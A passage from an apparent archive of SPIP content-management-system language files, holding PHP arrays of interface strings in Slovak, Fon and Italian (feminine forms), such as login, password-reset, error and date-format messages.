'info_erreur_systeme2' => 'Buď je plný pevný disk, alebo je poškodený databáza.<br />
<span style="color:red;">Poskúste sa <a href=\'@script@\'>opraviť databázu,</a> alebo kontaktujte poskytovateľa služby.</span>',
'info_fini' => 'Hotovo!',
'info_format_image' => 'Formát obrázkov, ktorý sa použije na vytváranie miniatúr: @gd_formats@.',
'info_format_non_defini' => 'nedefinovaný formát',
'info_grand_ecran' => 'Veľká obrazovka',
'info_image_aide' => 'POMOCNÍK',
'info_image_process_titre' => 'Ako vytvárať miniatúry',
'info_impossible_lire_page' => '<b>Chyba!</b> Stránka <tt><html>@test_proxy@</html></tt> sa nedá zobraziť cez proxy',
'info_installation_systeme_publication' => 'Inštaluje sa publikačný systém...',
'info_installer_documents' => 'Všetky dokumenty v priečinku @upload@ si môžete nainštalovať automaticky.',
'info_installer_ftp' => 'Ako administrátor môžete (cez FTP) nainštalovať súbory do priečinka @upload@, aby ste ich potom mohli vyberať priamo odtiaľ.',
'info_installer_images' => 'Môžete si nainštalovať obrázky formátov JPEG, GIF a PNG.',
'info_installer_images_dossier' => 'Obrázky nainštalujte do priečinka @upload@, ak ich odtiaľ chcete vyberať.',
'info_interface_complete' => 'Úplné rozhranie',
'info_interface_simple' => 'Zjednodušené rozhranie',
'info_joindre_document_article' => 'K svojmu článku môžete pripojiť tieto typy dokumentov',
'info_joindre_document_rubrique' => 'Do tejto rubriky môžete pridávať dokumenty týchto typov',
'info_joindre_documents_article' => 'K svojmu článku môžete pripojiť dokumenty týchto typov:',
'info_l_article' => 'článok',
'info_la_breve' => 'novinka',
'info_la_rubrique' => 'rubrika',
'info_langue_principale' => 'Hlavný jazyk stránky',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixelov',
'info_les_auteurs_1' => 'napísal(a) @les_auteurs@',
'info_logo_format_interdit' => 'Povolené sú len logá vo formátoch @formats@.',
'info_logo_max_poids' => 'Logá musia mať menej ako @maxi@ (tento súbor má @actuel@).',
'info_mail_fournisseur' => 'you@mailservice.com',
'info_message_2' => 'SPRÁVA ',
'info_message_supprime' => 'ODKAZ ZMAZANÝ',
'info_messages_nb' => '@nb@ správ',
'info_messages_un' => '1 správa',
'info_mise_en_ligne' => 'Uverejnené dňa:',
'info_modification_parametres_securite' => 'menia sa parametre zabezpečenia',
'info_mois_courant' => 'Počas mesiaca:',
'info_mot_cle_ajoute' => 'Toto kľúčové slovo bolo pridané k',
'info_multi_herit' => 'Predvolený jazyk',
'info_multi_langues_soulignees' => '<u>Podčiarknuté jazyky</u> poskytujú preklad všetkých alebo takmer všetkých textov rozhrania. Ak si vyberiete niektorý z týchto jazykov, mnohé prvky verejne prístupnej stránky (dátumy, formuláre) sa preložia automaticky. Ak si vyberiete niektorý z jazykov, ktoré nie sú podčiarknuté, tieto prvky sa zobrazia v hlavnom jazyku stránky.',
'info_multilinguisme' => 'Viacjazyčnosť',
'info_nom_non_utilisateurs_connectes' => 'Vaše meno sa nezobrazuje v zozname používateľov online.',
'info_nom_utilisateurs_connectes' => 'Vaše meno sa zobrazuje v zozname používateľov online.',
'info_nombre_en_ligne' => 'Prihlásení:',
'info_non_resultat' => 'Žiadne výsledky pre reťazec "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nepoužívate súkromný odkazovať na tejto stránke.',
'info_nouveau_message' => 'MÁTE NOVÚ SPRÁVU',
'info_nouveaux_messages' => 'MÁTE @total_messages@ NOVÝCH SPRÁV',
'info_numero_abbreviation' => 'č.',
'info_obligatoire' => 'Tento údaj je povinný',
'info_pense_bete' => 'PRIPOMIENKA',
'info_petit_ecran' => 'Malá obrazovka',
'info_petition_close' => 'Petícia skončená',
'info_pixels' => 'pixelov',
'info_plusieurs_mots_trouves' => 'Pre reťazec "@cherche_mot@" sa našlo niekoľko kľúčových slov:',
'info_portfolio_automatique' => 'Automatické portfólio:',
'info_premier_resultat' => '[Prvých @debut_limit@ výsledkov z(o) @total@]',
'info_premier_resultat_sur' => '[Prvých @debut_limit@ výsledkov z(o) @total@]',
'info_propose_1' => '[@nom_site_spip@] Odoslané: @titre@',
'info_propose_2' => 'Článok odoslaný
---------------',
'info_propose_3' => 'Článok „@titre@“ bol odoslaný na publikovanie.',
'info_propose_4' => 'Môžete si ho prezrieť a povedať svoj názor',
'info_propose_5' => 'v príslušnom diskusnom fóre. Je dostupný tu:',
'info_publie_01' => 'Článok "@titre@" schválil(a) @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIKOVANÉ: @titre@',
'info_publie_2' => 'Článok publikovaný
------------------',
'info_rechercher' => 'Hľadať',
'info_rechercher_02' => 'Hľadať:',
'info_remplacer_vignette' => 'Nahradiť predvolenú miniatúru vlastným logom:',
'info_rubriques_nb' => '@nb@ rubrík',
'info_rubriques_un' => '1 rubrika',
'info_sans_titre_2' => 'bez názvu',
'info_selectionner_fichier' => 'Môžete vybrať súbor z priečinka @upload@',
'info_selectionner_fichier_2' => 'Vyberte súbor:',
'info_sites_nb' => '@nb@ stránok',
'info_sites_un' => '1 stránka',
'info_supprimer_vignette' => 'Odstrániť miniatúru',
'info_symbole_bleu' => '<b>Modrá</b> označuje <b>pripomienku,</b> čiže odkaz pre vašu osobnú potrebu.',
'info_symbole_jaune' => '<b>Žltá</b> označuje <b>oznam všetkým redaktorom:</b> môžu ho upravovať všetci administrátori a uvidia ho všetci redaktori.',
'info_symbole_vert' => ' <b>Zelená</b> označuje <b>správy, ktoré ste si vymenili s ostatnými používateľmi</b> stránky.',
'info_telecharger_nouveau_logo' => 'Nahrať nové logo:',
'info_telecharger_ordinateur' => 'Nahrať z vášho počítača:',
'info_tous_resultats_enregistres' => '[všetky výsledky sa ukladajú]',
'info_tout_afficher' => 'Zobraziť všetko',
'info_travaux_texte' => 'Táto stránka ešte nie je nastavená. Prosím, vráťte sa sem neskôr.',
'info_travaux_titre' => 'Stránka sa rekonštruuje',
'info_trop_resultat' => 'Priveľa nájdených položiek pre "@cherche_mot@"; prosím, upresnite svoje vyhľadávanie.',
'info_utilisation_messagerie_interne' => 'Používate interný odkazovač tejto stránky.',
'info_valider_lien' => 'Preveriť tento odkaz',
'info_verifier_image' => ', prosím, uistite sa, že vaše obrázky boli premiestnené správne.',
'info_vignette_defaut' => 'Predvolená miniatúra',
'info_vignette_personnalisee' => 'Vlastná miniatúra',
'info_visite' => 'návštevy:',
'info_vos_rendez_vous' => 'Vaše stretnutia v budúcnosti',
'infos_vos_pense_bete' => 'Vaše pripomienky',
// L
'label_ajout_id_rapide' => 'Rýchlo pridať',
'label_poids_fichier' => 'Veľkosť',
'lien_afficher_icones_seuls' => 'Zobraziť iba ikonky',
'lien_afficher_texte_icones' => 'Zobraziť ikonky a text',
'lien_afficher_texte_seul' => 'Zobraziť iba text',
'lien_liberer' => 'Odstrániť',
'lien_liberer_tous' => 'Odstrániť všetky',
'lien_nouvea_pense_bete' => 'NOVÁ PRIPOMIENKA',
'lien_nouveau_message' => 'NOVÁ SPRÁVA',
'lien_nouvelle_annonce' => 'NOVÝ OZNAM',
'lien_petitions' => 'PETÍCIA',
'lien_popularite' => 'popularita: @popularite@%',
'lien_racine_site' => 'KOREŇOVÝ ADRESÁR STRÁNKY',
'lien_reessayer' => 'skúste to znova',
'lien_repondre_message' => 'Odpovedať na túto správu',
'lien_supprimer' => 'odstrániť',
'lien_tout_afficher' => 'Zobraziť všetko',
'lien_visite_site' => 'navštíviť túto stránku',
'lien_visites' => '@visites@ návštev',
'lien_voir_auteur' => 'Pozrieť tohto autora',
'ligne' => 'Riadok',
'login' => 'Prihlásenie',
'login_acces_prive' => 'prístup do súkromnej zóny',
'login_autre_identifiant' => 'prihlásiť sa pod inou identitou',
'login_cookie_accepte' => 'Prosím, nastavte svoj prehliadač tak, aby ich z tejto stránky prijímal.',
'login_cookie_oblige' => 'Kvôli bezpečnej identifikácii musí váš prehliadač prijímať cookies.',
'login_deconnexion_ok' => 'Odhlásenie v poriadku.',
'login_erreur_pass' => 'Chyba hesla.',
'login_espace_prive' => 'súkromná zóna',
'login_identifiant_inconnu' => 'Identifikátor "@login@" nie je známy',
'login_login' => 'Prihlasovacie meno:',
'login_login2' => 'Prihlasovacie meno alebo e-mailová adresa:',
'login_login_pass_incorrect' => '(Nesprávne používateľské meno alebo heslo).',
'login_motpasseoublie' => 'Zabudli ste heslo?',
'login_non_securise' => 'Pozor: tento formulár nie je zabezpečený.
Ak nechcete, aby bolo vaše heslo vystavené
riziku odchytenia na sieti, prosím, aktivujte si Javascript
v prehliadači a',
'login_nouvelle_tentative' => 'Nový pokus',
'login_par_ici' => 'Vy ste zaregistrovaný. Tadiaľ.',
'login_pass2' => 'Heslo:',
'login_preferez_refuser' => '<b>Ak radšej odmietate cookies,</b> máte k dispozícii iný, menej bezpečný, spôsob:',
'login_recharger' => 'obnoviť túto stránku',
'login_rester_identifie' => 'Pamätať si moje ID niekoľko dní',
'login_retour_public' => 'Späť na verejne prístupnú stránku',
'login_retour_site' => 'Späť na verejne prístupnú stránku',
'login_retoursitepublic' => 'Späť na verejne prístupnú stránku',
'login_sans_cookiie' => 'Identifikácia bez cookie',
'login_securise' => 'Zabezpečené prihlásenie',
'login_sinscrire' => 'Zaregistrovať sa',
'login_test_navigateur' => 'Testuje sa prehliadač/nové pripojenie',
'login_verifiez_navigateur' => '(Skontrolujte však, či si prehliadač nezapamätal vaše heslo.)',
// M
'masquer_colonne' => 'Schovať tento stĺpec',
'masquer_trad' => 'Schovať preklady',
'module_fichiers_langues' => 'Jazykové súbory',
// N
'navigateur_pas_redirige' => 'Ak vás nepresmeruje prehliadač, kliknite sem, aby ste mohli pokračovať.',
'numero' => 'Číslo',
// O
'occurence' => 'Výskyt',
'onglet_affacer_base' => 'Vymazať databázu',
'onglet_auteur' => 'Autor',
'onglet_contenu_site' => 'Obsah stránok',
'onglet_evolution_visite_mod' => 'Úroveň návštev',
'onglet_fonctions_avances' => 'Funkcie pre pokročilych',
'onglet_informations_personnelles' => 'Osobné údaje',
'onglet_interactivite' => 'Interaktivita',
'onglet_messagerie' => 'Odkazovač',
'onglet_repartition_rubrique' => 'Početnosť podľa rubrík',
'onglet_save_restaur_base' => 'Zálohovať/obnoviť databázu',
'onglet_vider_cache' => 'Vyprázdniť cache',
// P
'pass_choix_pass' => 'Prosím, zvoľte si nové heslo:',
'pass_erreur' => 'Chyba',
'pass_erreur_acces_refuse' => '<b>Chyba:</b> k tejto stránke už viac nemáte prístup.',
'pass_erreur_code_inconnu' => '<b>Chyba:</b> tento kód sa nezhoduje s kódom žiadneho návštevníka s prístupovými právami na túto stránku.',
'pass_erreur_non_enregistre' => '<b>Chyba:</b> adresa <tt>@email_oubli@</tt> nie je zaregistrovaná na tejto stránke.',
'pass_erreur_non_valide' => '<b>Chyba:</b> e-mail <tt>@email_oubli@</tt> nie je platný!',
'pass_erreur_probleme_technique' => '<b>Chyba:</b> tento e-mail sa nepodarilo poslať kvôli technickému problému.',
'pass_espace_prive_bla' => 'Súkromná zóna tejto stránky je
pre návštevníkov prístupná po registrácii. Keď sa zaregistrujete,
budete si môcť prezerať články, ktoré sa
upravujú, posielať články a diskutovať na diskusných fórach.',
'pass_forum_bla' => 'Požiadali ste o účasť v diskusnom fóre
vyhradenom pre zaregistrovaných návštevníkov.',
'pass_indiquez_cidessous' => 'Zadajte e-mailovú adresu, s ktorou ste sa
predtým zaregistrovali.
Dostanete e-mail, ktorý vám vysvetlí, ako si
môžete obnoviť svoje heslo.',
'pass_mail_passcookie' => '(Toto je automatická správa)
Ak si chcete obnoviť prístup na stránku
@nom_site_spip@ (@adresse_site@)
prosím, choďte na túto adresu:
@sendcookie@
Potom môžete zadať nové heslo
a znova sa prihlásiť na stránku.
',
'pass_mot_oublie' => 'Zabudnuté heslo',
'pass_nouveau_enregistre' => 'Vaše nové heslo bolo uložené.',
'pass_nouveau_pass' => 'Nové heslo',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Zabudnuté heslo',
'pass_procedure_changer' => 'Ak si chcete zmeniť heslo, musíme overiť vašu identitu. Použijeme na to e-mailovú adresu priradenú k vášmu účtu.',
'pass_quitter_fenetre' => 'Zatvoriť toto okno',
'pass_rappel_login' => 'Na pripomenutie: váš identifikátor (prihlasovacie meno) je "@login@".',
'pass_recevoir_mail' => 'Dostanete e-mail, ktorý vám vysvetlí, ako znova získať prístup na stránku.',
'pass_retour_public' => 'Späť na verejne prístupnú stránku',
'pass_rien_a_faire_ici' => 'Niet tu čo robiť.',
'pass_vousinscrire' => 'Registrácia na stránke',
'precedent' => 'Predchádz.',
'previsualisation' => 'Ukážka',
'previsualiser' => 'Zobraziť ukážku',
// R
'retour' => 'Návrat',
// S
'spip_conforme_dtd' => 'Podľa SPIPu sa táto stránka zhoduje so svojím DOCTYPEOM:',
'squelette' => 'Šablóna',
'squelette_inclus_ligne' => 'vložená šablóna, riadok',
'squelette_ligne' => 'šablóna, riadok',
'stats_visites_et_popularite' => '@visites@ návštev, popularita: @popularite@',
'suivant' => 'Ďalej',
// T
'taille_go' => '@taille@ Gb',
'taille_ko' => '@taille@ kB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ byteov',
'texte_actualite_site_1' => 'Keď sa zoznámite s rozhraním, kliknite na «',
'texte_actualite_site_2' => 'úplné rozhranie',
'texte_actualite_site_3' => '» aby ste mali k dispozícií viac funkcií.',
'texte_creation_automatique_vignette' => 'Automatické vytváranie ukážok miniatúr je na tejto stránke povolené. Ak prostredníctvom tohto formulára nainštalujete obrázky vo formáte (-och) @gd_formats@, budú doplnené miniatúrou s maximálnou veľkosťou @taille_preview@ pixelov.',
'texte_documents_associes' => 'Tieto súbory sú k článku priradené,
ale neboli doň priamo
vložené. V závislosti od vzhľadu verejne prístupnej stránky
by sa mohli zobraziť ako pripojené súbory.',
'texte_erreur_mise_niveau_base' => 'Chyba databázy počas aktualizácie.
Obrázok <b>@fichier@</b> neprešiel (článok @id_article@).<p>
Dobre si prečítajte tento oznam, skúste vykonať aktualizáciu zvnova
a potom skontrolovať, či sa obrázky v článkoch
stále objavujú.',
'texte_erreur_visiteur' => 'Pokúsili ste sa vojsť do súkromnej zóny pomocou oprávneného používateľského mena.',
'texte_inc_auth_1' => 'Prihlásili ste sa ako
<b>@auth_login@,</b> ale toto používateľské meno v databáze neexistuje.
',
'texte_inc_auth_2' => 'Znova sa pripojiť',
'texte_inc_auth_3' => ', skončite, a ak treba,
reštartujte svoj prehliadač.',
'texte_inc_config' => 'Zmeny vykonané v nastaveniach týchto stránok majú veľký vplyv
na fungovanie stránky. Odporúča sa nerobiť zmeny, ak neviete,
ako SPIP funguje. <br /><br /><b>
Vo všeobecnosti sa veľmi odporúča
nechať tieto zmeny na hlavného webmastera stránky.</b>',
'texte_inc_meta_1' => 'Pri pokuse o zápis do súboru <code>@fichier@</code> nastala chyba. Ako administrátor, prosím,',
'texte_inc_meta_2' => 'skontrolujte právo zápisu',
'texte_inc_meta_3' => 'u priečinka <code>@repertoire@.</code>',
'texte_statut_en_cours_redaction' => 'upravuje sa',
'texte_statut_poubelle' => 'do koša',
'texte_statut_propose_evaluation' => 'odoslaný na schválenie',
'texte_statut_publie' => 'publikovaný online',
'texte_statut_refuse' => 'zamietnutý',
'titre_ajouter_mot_cle' => 'PRIDAŤ KĽÚČOVÉ SLOVO:',
'titre_cadre_raccourcis' => 'SKRATKY:',
'titre_changer_couleur_interface' => 'Zmena farby rozhrania',
'titre_image_admin_article' => 'Môžete upravovať tento článok',
'titre_image_administrateur' => 'Administrátor',
'titre_image_aide' => 'Pomoc k tomuto prvku',
'titre_image_auteur_supprime' => 'Odstránený autor',
'titre_image_redacteur' => 'Redaktor bez prístupu',
'titre_image_redacteur_02' => 'Redaktor',
'titre_image_selecteur' => 'Zobraziť zoznam',
'titre_image_visiteur' => 'Návštevník',
'titre_joindre_document' => 'PRIPOJIŤ DOKUMENT',
'titre_mots_cles' => 'KĽÚČOVÉ SLOVÁ',
'titre_probleme_technique' => 'Varovanie: technický problém (so SQL serverom) bráni v prístupe k tejto časti stránky. Ďakujeme vám za trpezlivosť.',
'titre_publier_document' => 'PUBLIKOVAŤ DOKUMENT V TEJTO RUBRIKE',
'titre_signatures_attente' => 'Podpisy čakajúce na overenie',
'titre_signatures_confirmees' => 'Potvrdené podpisy',
'titre_statistiques' => 'Štatistiky stránok',
'titre_titre_document' => 'Názov dokumentu:',
'todo' => 'nasleduje',
'trad_reference' => '(referencia pre preklady)',
// Z
'zbug_balise_b_aval' => ': tag B je v cykle príliš neskoro',
'zbug_balise_inexistante' => 'Tag @balise@ je zle deklarovaný pre @from@',
'zbug_balise_sans_argument' => 'V tagu @balise@ chýba parameter',
'zbug_boucle' => 'cyklus',
'zbug_boucle_recursive_undef' => 'nedefinovaný rekurzívny cyklus: @nom@',
'zbug_calcul' => 'Výpočet',
'zbug_champ_hors_boucle' => 'Pole @champ@ mimo cyklu',
'zbug_champ_hors_motif' => 'Pole @champ@ mimo kontextu @motif@',
'zbug_code' => 'kód',
'zbug_critere_inconnu' => 'neznáme kritérium @critere@',
'zbug_distant_interdit' => 'Externé dáta sú zakázané',
'zbug_doublon_table_sans_cle_primaire' => 'V tabuľke, ktorá nemá jednoduchý primárny kľúč, sú duplicitné položky',
'zbug_doublon_table_sans_index' => 'Duplicitné údaje v tabuľke bez indexu',
'zbug_erreur_boucle_double' => 'Duplicitná definícia cyklu @id@',
'zbug_erreur_boucle_fermant' => 'Cyklus @id@ nie je uzavretý',
'zbug_erreur_boucle_syntaxe' => 'Syntax cyklu @id@ nie je správna',
'zbug_erreur_compilation' => 'Chyba pri kompilácii',
'zbug_erreur_execution_page' => 'Chyba pri vykonávaní',
'zbug_erreur_filtre' => 'Nezadefinovaný filter @filtre@',
'zbug_erreur_meme_parent' => 'Kritérium {meme_parent} platí iba pre cykly (DISKUSNÉ FÓRA) alebo (RUBRIKY)',
'zbug_erreur_squelette' => 'Chyba (-y) v šablóne',
'zbug_hors_compilation' => 'Neskompilované',
'zbug_info_erreur_squelette' => 'Chyba na stránke',
'zbug_inversion_ordre_inexistant' => 'Zrušenie neexistujúceho poradia',
'zbug_pagination_sans_critere' => 'Tag #PAGINATION (stránkovanie) nemá kritérium {pagination} alebo sa používa v rekurzívnom cykle',
'zbug_parametres_inclus_incorrects' => 'Nesprávny parameter zaradenia: @param@',
'zbug_profile' => 'Čas prepočítania: @time@',
'zbug_resultat' => 'výsledok',
'zbug_serveur_indefini' => 'Neuvedený server SQL',
'zbug_statistiques' => 'Požiadavka na štatistiku SQL podľa trvania',
'zbug_table_inconnue' => 'Neznáma tabuľka SQL "@table@"',
'zxml_connus_attributs' => 'známe atribúty',
'zxml_de' => 'od',
'zxml_inconnu_attribut' => 'neznámy atribút',
'zxml_inconnu_balise' => 'neznámy tag',
'zxml_inconnu_entite' => 'neznáma entita',
'zxml_inconnu_id' => 'neznáme ID',
'zxml_mais_de' => 'ale od',
'zxml_non_conforme' => 'nepravda podľa zásady',
'zxml_non_fils' => 'nie je podradené',
'zxml_nonvide_balise' => 'tag nie je prázdny',
'zxml_obligatoire_attribut' => 'vyžaduje sa atribút, ktorý chýba v',
'zxml_succession_fils_incorrecte' => 'nesprávne dedenie podradenosti',
'zxml_survoler' => 'Ak chcete vidieť správne, prejdite kurzorom',
'zxml_valeur_attribut' => 'hodnota atribútu',
'zxml_vide_balise' => 'prázdny tag',
'zxml_vu' => 'zobrazené predtým'
);
?>
public_fon.php 0000666 00000007565 15252547432 0007427 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Hɔntogbo', # MODIF
'articles' => 'Wekpa lɛ̂',
'articles_auteur' => 'Nyɔwlantɔ é lɔ sin wekpa lɛ̂',
'articles_populaires' => 'wekpa lɛ̂ ê to bi tùn yé',
'articles_rubrique' => 'wekpa ɖiɖɛ é lɔ tɔn',
'aucun_article' => 'wekpa ɖē̄ do gesi é lɔ ji a ',
'aucun_auteur' => 'Nyɔwlantɔ ɖē̄ do gesi é lɔ ji a ',
'aucun_site' => 'Gblogbloji ɖē̄ do gesi é lɔ ji a',
'aucune_breve' => 'Xogbè kléwun ɖē̄ do gesi é lɔ ji a',
'aucune_rubrique' => 'ɖiɖɛ ɖē̄ do gesi é lɔ ji a ',
'autres_breves' => 'Xogbè kléwun de vo',
'autres_groupes_mots_clefs' => 'Xota bɛ dokpɔ lɛ̂ ',
'autres_sites' => 'Gblogbloji ɖē̄ vo lɛ̂',
// B
'bonjour' => 'kwabɔ ',
// C
'commenter_site' => 'wlɔkànnú xo lɛ̂',
// D
'date' => 'Azan',
'dernier_ajout' => 'Gɔna gùdogùdotɔn',
'dernieres_breves' => 'Xogbè kléwun gùdogùdotɔn',
'derniers_articles' => 'Wekpa gùdogùdotɔn',
'derniers_commentaires' => 'ɖɛtitɛ gùdogùdotɔn',
'derniers_messages_forum' => 'whɛn gùdogùdotɔn yē ɖɔdotoji',
// E
'edition_mode_texte' => 'winwlanmɛ',
'en_reponse' => 'ɖogbèyiyi mɛ nu :',
'en_resume' => 'ɖo xo kléwun mɛ ɔ',
'envoyer_message' => 'Sɛ wɛn do ',
'espace_prive' => 'tɛnkandovo',
// H
'hierarchie_site' => 'Tito gblogbloji ɔ tɔn',
// J
'jours' => 'Azan lɛ̂',
// M
'meme_auteur' => 'Nyɔwlantɔ ɖokpo ɔ',
'meme_rubrique' => 'ɖo akpaxwé ɖokpo ɔ mɛ',
'memes_auteurs' => 'Nyɔwlantɔ ɖokpo lɛ̂',
'message' => 'Wɛn',
'messages_forum' => 'wɛn pkékplé ɔ tɔn lê', # MODIF
'messages_recents' => 'wɛn gùdógùdotɔn pkékplé ɔ tɔn lê',
'mots_clefs' => 'xótá lɛ̂',
'mots_clefs_meme_groupe' => 'xótá akpa ɖokpó ɔ lɛ̂ tɔn',
// N
'navigation' => 'nukéjékéjé',
'nom' => 'nyíkɔ',
'nouveautes' => 'Nu yɔyɔ lɛ̂',
'nouveautes_web' => 'Nu yɔyɔ lɛ̂ e ɖo atɛ ɔ jí ɔ',
'nouveaux_articles' => 'Wékpa yɔyɔ lɛ̂',
'nouvelles_breves' => 'wɛn kléwun lɛ̂',
// P
'page_precedente' => 'Wékpa e wai',
'page_suivante' => 'Wékpa e bɔɖéu',
'par_auteur' => 'Gbɔn',
'participer_site' => 'Mì ɖè mì ɖé xlɛ bó ná siwu kɛ nù dó walɔ gblogblojí ɔ tɔn enɛ gúdo ɔ mì singan sɔ wékpa mi tɔn lɛ̂ sɛ dó. ɖo mɔ ɔ, mì nà sɛ gbètàkwin ná ná gbè bɔ mì ɖo tàfɔ atɛ ɔ jí zɔnɖokpo e.',
'plan_site' => 'titomɛ gblogbloji ɔ tɔn ',
'popularite' => 'Nukún ɖéjí',
'poster_message' => 'sɛ wɛn do',
'proposer_site' => 'Nu mi do gblogblojí ɖé ɔ Mì siwu zé gɔ ná akpa é lɔ ',
// R
'repondre_article' => 'ɖò sin nu wékpa e lɔ',
'repondre_breve' => 'ɖò sin nu xó klewun é lɔ',
'resultats_recherche' => 'Gbètakɛn nu do biba tɔn lɛ̂',
'retour_debut_forums' => 'kɔlɛ sɔ yì kplékplé sin bibɛ',
'rubrique' => 'Akpa ',
'rubriques' => 'Akpa lɛ',
// S
'signatures_petition' => 'alɔdowemamɛ lɛ',
'site_realise_avec_spip' => 'Kpo alɔgɔ Supipu tɔn kpó wɛ gblogblojí ɔ nyí wiwa',
'sites_web' => 'Atɛ lɛ̂',
'sous_rubriques' => 'Akpa xwé',
'suite' => 'Bɔ ɖé wu tɔn',
'sur_web' => 'ɖò atɛ ɔ jì',
'syndiquer_rubrique' => 'Zê aceji do akpa é lɔ jí',
'syndiquer_site' => 'acéjínínɔ',
// T
'texte_lettre_information' => 'Xojlawemá gblogbloji ɔ tɔn ɖiè',
'texte_lettre_information_2' => 'Xojlawemá é lɔɔ nɔ cian wékpa kpodó xó klewun ɖɔ̀dotojí xoxo lɛ̂', # MODIF
// V
'ver_imprimer' => 'Zin wema',
'voir_en_ligne' => 'kpɔn Gblogbloji',
'voir_squelette' => 'Sɛ titomɛ wema élɔ tɔn do '
);
?>
spip_it_fem.php 0000666 00000104304 15252547432 0007572 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-it',
'0_langue' => 'Italiana [it_fem]',
'0_liste' => 'spip-it@rezo.net',
'0_mainteneur' => 'fausto@nosmet.com',
// A
'access_interface_graphique' => 'Ritorna all’interfaccia grafica completa',
'access_mode_texte' => 'Visualizza l’interfaccia testuale semplificata',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modifica l’articolo',
'admin_modifier_auteur' => 'Modifica l’autrice',
'admin_modifier_breve' => 'Modifica la breve',
'admin_modifier_mot' => 'Modifica la parola chiave',
'admin_modifier_rubrique' => 'Modifica la rubrica',
'admin_recalculer' => 'Rigenera la pagina',
'afficher_trad' => 'visualizzare le traduzioni',
'alerte_maj_impossible' => '<b>Attenzione!</b> L’aggiornamento del database SQL alla versione @version@ è impossibile, forse non si possiedono i diritti di modifica nel database. Contattare il proprio fornitore di hosting.',
'alerte_modif_info_concourante' => 'ATTENZIONE: Questa informazione è stata modificata altrove. Il valore attuale è:',
'analyse_xml' => 'Analisi XML',
'annuler' => 'Annulla',
'antispam_champ_vide' => 'Si prega di lasciare vuoto questo campo:',
'articles_recents' => 'Articoli più recenti',
'avis_archive_incorrect' => 'il file archivio non è un file SPIP',
'avis_archive_invalide' => 'il file archivio non è valido',
'avis_attention' => 'ATTENZIONE!',
'avis_champ_incorrect_type_objet' => 'Nome di campo errato @name@ per oggetto di tipo ',
'avis_colonne_inexistante' => 'La colonna @col@ non esiste',
'avis_erreur' => 'Errore: vedi sopra',
'avis_erreur_connexion' => 'Errore di connessione',
'avis_erreur_cookie' => 'problema di cookie',
'avis_erreur_fonction_contexte' => 'Errore di programmazione. Questa funzione non deve essere chiamata in questo contesto.',
'avis_erreur_mysql' => 'Errore SQL ',
'avis_erreur_sauvegarde' => 'Errore nel salvataggio (@type@ @id_objet@)! ',
'avis_erreur_visiteur' => 'Problema di accesso all’area riservata',
// B
'barre_a_accent_grave' => 'Inserire una A maiscola con accento grave',
'barre_aide' => 'Utilizzare le scorciatoie tipografiche di SPIP per migliorare l’impaginazione del testo',
'barre_e_accent_aigu' => 'Inserire una E maiscola con accento acuto',
'barre_eo' => 'Inserire una E nell’O',
'barre_eo_maj' => 'Inserire una E nell’O maiuscola',
'barre_euro' => 'Inserire il simbolo €',
'barre_gras' => 'Formattare in {{grassetto}}',
'barre_guillemets' => 'Porre il testo fra « virgolette basse francesi »',
'barre_guillemets_simples' => 'Porre il testo fra virgolette',
'barre_intertitre' => 'Trasformare in {{{titolo di paragrafo}}}',
'barre_italic' => 'Formattare in {corsivo}',
'barre_lien' => 'Trasformare in un [link ipertestuale->http://...]',
'barre_lien_input' => 'Indicare l’indirizzo del link (è possibile indicare l’indirizzo Web come http://www.ilmiosito.com o semplicemente indicare il numero di un singolo articolo).',
'barre_note' => 'Trasformare in [[Nota a fondo pagina]]',
'barre_paragraphe' => 'Crea un paragrafo',
'barre_quote' => '<quote>Citare un messaggio</quote>',
'bouton_changer' => 'Cambia',
'bouton_chercher' => 'Cerca',
'bouton_choisir' => 'Scegli',
'bouton_download' => 'Download', # MODIF
'bouton_enregistrer' => 'Salva',
'bouton_radio_desactiver_messagerie_interne' => 'Disattiva la messaggistica interna',
'bouton_radio_envoi_annonces' => 'Invia gli annunci editoriali',
'bouton_radio_non_envoi_annonces' => 'Non inviare annunci',
'bouton_radio_non_envoi_liste_nouveautes' => 'Non inviare l’elenco delle novità',
'bouton_recharger_page' => 'ricaricare questa pagina',
'bouton_telecharger' => 'Upload',
'bouton_upload' => 'Upload', # MODIF
'bouton_valider' => 'Invia',
// C
'cal_apresmidi' => 'pomeriggio',
'cal_jour_entier' => 'giorno intero',
'cal_matin' => 'mattina',
'cal_par_jour' => 'calendario giornaliero',
'cal_par_mois' => 'calendario mensile',
'cal_par_semaine' => 'calendario settimanale',
'choix_couleur_interface' => 'colore',
'choix_interface' => 'scelta dell’interfaccia',
'colonne' => 'Colonna',
'confirm_changer_statut' => 'Attenzione, è stato chiesto di modificare lo status di questo elemento. Continuare?',
'correcte' => 'corretto',
// D
'date_aujourdhui' => 'oggi',
'date_avant_jc' => 'a.C.',
'date_dans' => 'tra @delai@',
'date_de_mois_1' => '@j@ gennaio',
'date_de_mois_10' => '@j@ ottobre',
'date_de_mois_11' => '@j@ novembre',
'date_de_mois_12' => '@j@ dicembre',
'date_de_mois_2' => '@j@ febbraio',
'date_de_mois_3' => '@j@ marzo',
'date_de_mois_4' => '@j@ aprile',
'date_de_mois_5' => '@j@ maggio',
'date_de_mois_6' => '@j@ giugno',
'date_de_mois_7' => '@j@ luglio',
'date_de_mois_8' => '@j@ agosto',
'date_de_mois_9' => '@j@ settembre',
'date_demain' => 'domani',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ ore @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
